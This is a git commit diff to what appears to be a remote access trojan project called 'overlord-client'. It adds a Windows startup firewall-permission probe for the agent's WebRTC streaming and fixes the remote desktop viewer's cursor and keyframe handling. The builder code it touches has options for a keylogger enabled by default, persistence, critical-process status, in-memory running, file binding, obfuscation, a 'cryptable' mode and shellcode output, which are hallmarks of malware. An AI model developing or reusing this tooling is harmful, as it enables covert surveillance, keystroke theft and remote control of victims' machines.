add optional full require + fix some tests

This commit is contained in:
KingKDot
2026-07-19 17:16:35 -05:00
parent 037559068a
commit 3f5ac7a4f5
9 changed files with 105 additions and 7 deletions
+2
View File
@@ -8,6 +8,7 @@ import (
"overlord-client/cmd/agent/criticalproc" "overlord-client/cmd/agent/criticalproc"
"overlord-client/cmd/agent/mutex" "overlord-client/cmd/agent/mutex"
"overlord-client/cmd/agent/persistence" "overlord-client/cmd/agent/persistence"
"overlord-client/cmd/agent/webrtcpub"
) )
func main() { func main() {
@@ -21,6 +22,7 @@ func main() {
} }
runBoundFiles() runBoundFiles()
webrtcpub.PromptFirewallPermissionOnStartup()
if cfg.EnablePersistence { if cfg.EnablePersistence {
if isRunningInMemory() { if isRunningInMemory() {
@@ -0,0 +1,5 @@
//go:build !windows || !overlord_webrtc || !webrtc_firewall_startup_prompt
package webrtcpub
func PromptFirewallPermissionOnStartup() {}
@@ -0,0 +1,34 @@
//go:build windows && overlord_webrtc && webrtc_firewall_startup_prompt
package webrtcpub
import (
"log"
"net"
"time"
"golang.org/x/sys/windows"
)
func PromptFirewallPermissionOnStartup() {
go func() {
ensureFirewallRule()
if windows.GetCurrentProcessToken().IsElevated() {
return
}
probeFirewallPermissionPrompt()
}()
}
func probeFirewallPermissionPrompt() {
pc, err := net.ListenPacket("udp4", "0.0.0.0:0")
if err != nil {
log.Printf("webrtcpub: firewall permission probe failed: %v", err)
return
}
defer pc.Close()
_ = pc.SetReadDeadline(time.Now().Add(5 * time.Second))
var buf [1]byte
_, _, _ = pc.ReadFrom(buf[:])
}
+17
View File
@@ -304,6 +304,7 @@ function setBuildField(field, value) {
stripDebug: 'input[name="strip-debug"]', stripDebug: 'input[name="strip-debug"]',
noPrinting: 'input[name="no-printing"]', noPrinting: 'input[name="no-printing"]',
enableWebrtc: 'input[name="enable-webrtc"]', enableWebrtc: 'input[name="enable-webrtc"]',
promptWebrtcFirewallOnStart: 'input[name="prompt-webrtc-firewall-on-start"]',
enableWinRE: 'input[name="enable-winre"]', enableWinRE: 'input[name="enable-winre"]',
fetchPublicIP: 'input[name="fetch-public-ip"]', fetchPublicIP: 'input[name="fetch-public-ip"]',
enablePersistence: 'input[name="enable-persistence"]', enablePersistence: 'input[name="enable-persistence"]',
@@ -574,6 +575,7 @@ function collectFormSettings() {
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false, noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true, enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false, enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
promptWebrtcFirewallOnStart: document.querySelector('input[name="prompt-webrtc-firewall-on-start"]')?.checked ?? false,
enableWinRE: document.querySelector('input[name="enable-winre"]')?.checked ?? false, enableWinRE: document.querySelector('input[name="enable-winre"]')?.checked ?? false,
fetchPublicIP: document.querySelector('input[name="fetch-public-ip"]')?.checked ?? false, fetchPublicIP: document.querySelector('input[name="fetch-public-ip"]')?.checked ?? false,
obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false, obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
@@ -649,6 +651,7 @@ function applyFormSettings(settings) {
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting); if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger); if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc); if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
if (settings.promptWebrtcFirewallOnStart !== undefined) setCb('input[name="prompt-webrtc-firewall-on-start"]', settings.promptWebrtcFirewallOnStart);
if (settings.enableWinRE !== undefined) setCb('input[name="enable-winre"]', settings.enableWinRE); if (settings.enableWinRE !== undefined) setCb('input[name="enable-winre"]', settings.enableWinRE);
if (settings.fetchPublicIP !== undefined) setCb('input[name="fetch-public-ip"]', settings.fetchPublicIP); if (settings.fetchPublicIP !== undefined) setCb('input[name="fetch-public-ip"]', settings.fetchPublicIP);
if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate); if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
@@ -720,6 +723,7 @@ function applyFormSettings(settings) {
updateServerUrlPlaceholder(); updateServerUrlPlaceholder();
} }
applyCryptableMode(document.getElementById("cryptable-mode")?.checked || false); applyCryptableMode(document.getElementById("cryptable-mode")?.checked || false);
updateWebrtcFirewallPromptOption();
} }
function saveFormSettings() { function saveFormSettings() {
@@ -956,6 +960,14 @@ function applyLinuxShellcodeMode(enabled) {
saveFormSettings(); saveFormSettings();
} }
function updateWebrtcFirewallPromptOption() {
const webrtcEnabled = document.querySelector('input[name="enable-webrtc"]')?.checked ?? false;
const promptInput = document.querySelector('input[name="prompt-webrtc-firewall-on-start"]');
if (!promptInput) return;
promptInput.disabled = !webrtcEnabled;
if (!webrtcEnabled) promptInput.checked = false;
}
restoreFormSettings(); restoreFormSettings();
initAccordions(); initAccordions();
initBuilderTabs(); initBuilderTabs();
@@ -1165,6 +1177,7 @@ updatePersistenceSettingsVisibility();
form?.addEventListener("change", saveFormSettings); form?.addEventListener("change", saveFormSettings);
form?.addEventListener("input", saveFormSettings); form?.addEventListener("input", saveFormSettings);
document.querySelector('input[name="enable-webrtc"]')?.addEventListener("change", updateWebrtcFirewallPromptOption);
const obfuscateCheckbox = document.querySelector('input[name="obfuscate"]'); const obfuscateCheckbox = document.querySelector('input[name="obfuscate"]');
const garbleSettingsContainer = document.getElementById("garble-settings-container"); const garbleSettingsContainer = document.getElementById("garble-settings-container");
@@ -1896,6 +1909,7 @@ form?.addEventListener("submit", async (e) => {
noPrinting, noPrinting,
disableKeylogger: !enableKeylogger, disableKeylogger: !enableKeylogger,
enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false, enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false,
promptWebrtcFirewallOnStart: form.querySelector('input[name="enable-webrtc"]')?.checked === true && (form.querySelector('input[name="prompt-webrtc-firewall-on-start"]')?.checked || false),
enableWinRE: form.querySelector('input[name="enable-winre"]')?.checked || false, enableWinRE: form.querySelector('input[name="enable-winre"]')?.checked || false,
fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false, fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false,
outputName: outputNameVal || undefined, outputName: outputNameVal || undefined,
@@ -2002,6 +2016,9 @@ async function startBuild(config) {
buildStatus.classList.remove("hidden"); buildStatus.classList.remove("hidden");
buildStatusText.textContent = "Starting build..."; buildStatusText.textContent = "Starting build...";
buildStatus.querySelector("div").className =
"flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60";
buildStatus.querySelector("i").className = "fa-solid fa-spinner fa-spin";
buildResults.classList.add("hidden"); buildResults.classList.add("hidden");
buildFilesDiv.innerHTML = ""; buildFilesDiv.innerHTML = "";
+32 -7
View File
@@ -174,6 +174,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
const H264_MAX_RECOVERY_ATTEMPTS = 1; const H264_MAX_RECOVERY_ATTEMPTS = 1;
const H264_DECODE_WARN_THROTTLE_MS = 2000; const H264_DECODE_WARN_THROTTLE_MS = 2000;
const inputBackpressureBytes = 256 * 1024; const inputBackpressureBytes = 256 * 1024;
const VIEWER_FRAME_GAP_KEYFRAME_MS = 500;
const VIEWER_FRAME_GAP_KEYFRAME_THROTTLE_MS = 1000;
let lastViewerFrameGapKeyframeAt = 0;
const diagnostics = { const diagnostics = {
agent: null, agent: null,
network: null, network: null,
@@ -1964,6 +1967,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
pushBitrate(); pushBitrate();
desiredStreaming = true; desiredStreaming = true;
lastFrameAt = 0; lastFrameAt = 0;
lastViewerFrameGapKeyframeAt = 0;
firstFrameLogged = false; firstFrameLogged = false;
resetH264SessionState(); resetH264SessionState();
setStreamState("starting", "Starting stream"); setStreamState("starting", "Starting stream");
@@ -2134,13 +2138,19 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
} }
function cursorImageBytes(image) {
if (image instanceof Uint8Array) return image;
if (image instanceof ArrayBuffer) return new Uint8Array(image);
if (ArrayBuffer.isView(image)) {
return new Uint8Array(image.buffer, image.byteOffset, image.byteLength);
}
return null;
}
function renderRemoteCursor(message = lastRemoteCursor) { function renderRemoteCursor(message = lastRemoteCursor) {
lastRemoteCursor = message; lastRemoteCursor = message;
const image = message?.image; const imageBytes = cursorImageBytes(message?.image);
if (remoteCursorImage && image instanceof Uint8Array && image.byteLength > 0) { if (message && Number(message.cursorWidth) > 0 && Number(message.cursorHeight) > 0) {
if (remoteCursorImageUrl) URL.revokeObjectURL(remoteCursorImageUrl);
remoteCursorImageUrl = URL.createObjectURL(new Blob([image], { type: "image/png" }));
remoteCursorImage.src = remoteCursorImageUrl;
remoteCursorShape = { remoteCursorShape = {
width: Math.max(1, Number(message.cursorWidth) || 1), width: Math.max(1, Number(message.cursorWidth) || 1),
height: Math.max(1, Number(message.cursorHeight) || 1), height: Math.max(1, Number(message.cursorHeight) || 1),
@@ -2148,6 +2158,11 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
hotspotY: Math.max(0, Number(message.hotspotY) || 0), hotspotY: Math.max(0, Number(message.hotspotY) || 0),
}; };
} }
if (remoteCursorImage && imageBytes && imageBytes.byteLength > 0) {
if (remoteCursorImageUrl) URL.revokeObjectURL(remoteCursorImageUrl);
remoteCursorImageUrl = URL.createObjectURL(new Blob([imageBytes], { type: "image/png" }));
remoteCursorImage.src = remoteCursorImageUrl;
}
const hideLocalCursor = !!hideLocalCursorCtrl?.checked; const hideLocalCursor = !!hideLocalCursorCtrl?.checked;
const showRemoteCursor = !!cursorCtrl?.checked && !!message?.visible && !!remoteCursorShape && const showRemoteCursor = !!cursorCtrl?.checked && !!message?.visible && !!remoteCursorShape &&
(!mouseCtrl?.checked || hideLocalCursor); (!mouseCtrl?.checked || hideLocalCursor);
@@ -2158,7 +2173,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
if (remoteCursor) remoteCursor.hidden = true; if (remoteCursor) remoteCursor.hidden = true;
return; return;
} }
const surface = webrtcActive ? webrtcVideo : canvas; const surface = (webrtcActive || (webrtcVideo && getComputedStyle(webrtcVideo).display !== "none")) ? webrtcVideo : canvas;
const sourceWidth = Number(message.width) || (surface === webrtcVideo ? webrtcVideo.videoWidth : canvas.width); const sourceWidth = Number(message.width) || (surface === webrtcVideo ? webrtcVideo.videoWidth : canvas.width);
const sourceHeight = Number(message.height) || (surface === webrtcVideo ? webrtcVideo.videoHeight : canvas.height); const sourceHeight = Number(message.height) || (surface === webrtcVideo ? webrtcVideo.videoHeight : canvas.height);
if (!sourceWidth || !sourceHeight) { if (!sourceWidth || !sourceHeight) {
@@ -2304,8 +2319,18 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
function markFrameReceived() { function markFrameReceived() {
lastFrameAt = performance.now(); const now = performance.now();
const frameGapMs = lastFrameAt ? now - lastFrameAt : 0;
lastFrameAt = now;
clearOfflineTimer(); clearOfflineTimer();
if (
desiredStreaming &&
frameGapMs >= VIEWER_FRAME_GAP_KEYFRAME_MS &&
(!lastViewerFrameGapKeyframeAt || now - lastViewerFrameGapKeyframeAt >= VIEWER_FRAME_GAP_KEYFRAME_THROTTLE_MS)
) {
lastViewerFrameGapKeyframeAt = now;
sendCmd("desktop_request_keyframe", { reason: "viewer_frame_gap" });
}
if (!firstFrameLogged) { if (!firstFrameLogged) {
firstFrameLogged = true; firstFrameLogged = true;
rdDebug("first frame received", { rdDebug("first frame received", {
+10
View File
@@ -861,6 +861,16 @@
</div> </div>
</label> </label>
<label class="flex items-start gap-2 ml-6 px-3 py-2 bg-slate-900/50 border border-slate-800 rounded-lg cursor-pointer hover:border-amber-500/60 transition-colors">
<input type="checkbox" name="prompt-webrtc-firewall-on-start" class="w-4 h-4 mt-0.5" disabled />
<div class="flex flex-col">
<span class="flex items-center gap-2 text-sm text-slate-200">
<i class="fa-solid fa-shield-halved text-amber-300"></i> Ask for WebRTC firewall access on launch
</span>
<span class="text-xs text-slate-500">Windows-only. Starts a one-time firewall permission probe as soon as the agent launches instead of waiting for the first WebRTC stream.</span>
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors"> <label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors">
<input type="checkbox" name="enable-nvenc" class="w-4 h-4" checked /> <input type="checkbox" name="enable-nvenc" class="w-4 h-4" checked />
<div class="flex flex-col"> <div class="flex flex-col">
+1
View File
@@ -60,6 +60,7 @@ export type BuildConfig = {
criticalProcess?: boolean; criticalProcess?: boolean;
disableKeylogger?: boolean; disableKeylogger?: boolean;
enableWebrtc?: boolean; enableWebrtc?: boolean;
promptWebrtcFirewallOnStart?: boolean;
enableWinRE?: boolean; enableWinRE?: boolean;
fetchPublicIP?: boolean; fetchPublicIP?: boolean;
uploadToFileShare?: boolean; uploadToFileShare?: boolean;
@@ -97,6 +97,7 @@ type BuildProcessConfig = {
noPrinting?: boolean; noPrinting?: boolean;
disableKeylogger?: boolean; disableKeylogger?: boolean;
enableWebrtc?: boolean; enableWebrtc?: boolean;
promptWebrtcFirewallOnStart?: boolean;
enableWinRE?: boolean; enableWinRE?: boolean;
builtByUserId?: number; builtByUserId?: number;
initialClientTag?: string; initialClientTag?: string;
@@ -1376,6 +1377,7 @@ func runBoundFiles() {
if (config.noPrinting) baseTags.push("noprint"); if (config.noPrinting) baseTags.push("noprint");
if (config.disableKeylogger) baseTags.push("nokeylogger"); if (config.disableKeylogger) baseTags.push("nokeylogger");
if (config.enableWebrtc) baseTags.push("overlord_webrtc"); if (config.enableWebrtc) baseTags.push("overlord_webrtc");
if (config.enableWebrtc && config.promptWebrtcFirewallOnStart) baseTags.push("webrtc_firewall_startup_prompt");
if (config.enableWinRE && os === "windows") baseTags.push("overlord_winre"); if (config.enableWinRE && os === "windows") baseTags.push("overlord_winre");
if (hasBoundFiles) baseTags.push("hasbinder"); if (hasBoundFiles) baseTags.push("hasbinder");
if (isIosTarget) baseTags.push("ios_target"); if (isIosTarget) baseTags.push("ios_target");
@@ -217,6 +217,7 @@ export async function handleBuildRoutes(
criticalProcess, criticalProcess,
disableKeylogger, disableKeylogger,
enableWebrtc, enableWebrtc,
promptWebrtcFirewallOnStart,
enableWinRE, enableWinRE,
outputExtension, outputExtension,
sleepSeconds, sleepSeconds,
@@ -550,6 +551,7 @@ export async function handleBuildRoutes(
criticalProcess: safeCriticalProcess, criticalProcess: safeCriticalProcess,
disableKeylogger: !!disableKeylogger, disableKeylogger: !!disableKeylogger,
enableWebrtc: !!enableWebrtc, enableWebrtc: !!enableWebrtc,
promptWebrtcFirewallOnStart: !!enableWebrtc && !!promptWebrtcFirewallOnStart,
enableWinRE: !!enableWinRE, enableWinRE: !!enableWinRE,
outputExtension: safeOutputExtension, outputExtension: safeOutputExtension,
sleepSeconds: safeSleepSeconds, sleepSeconds: safeSleepSeconds,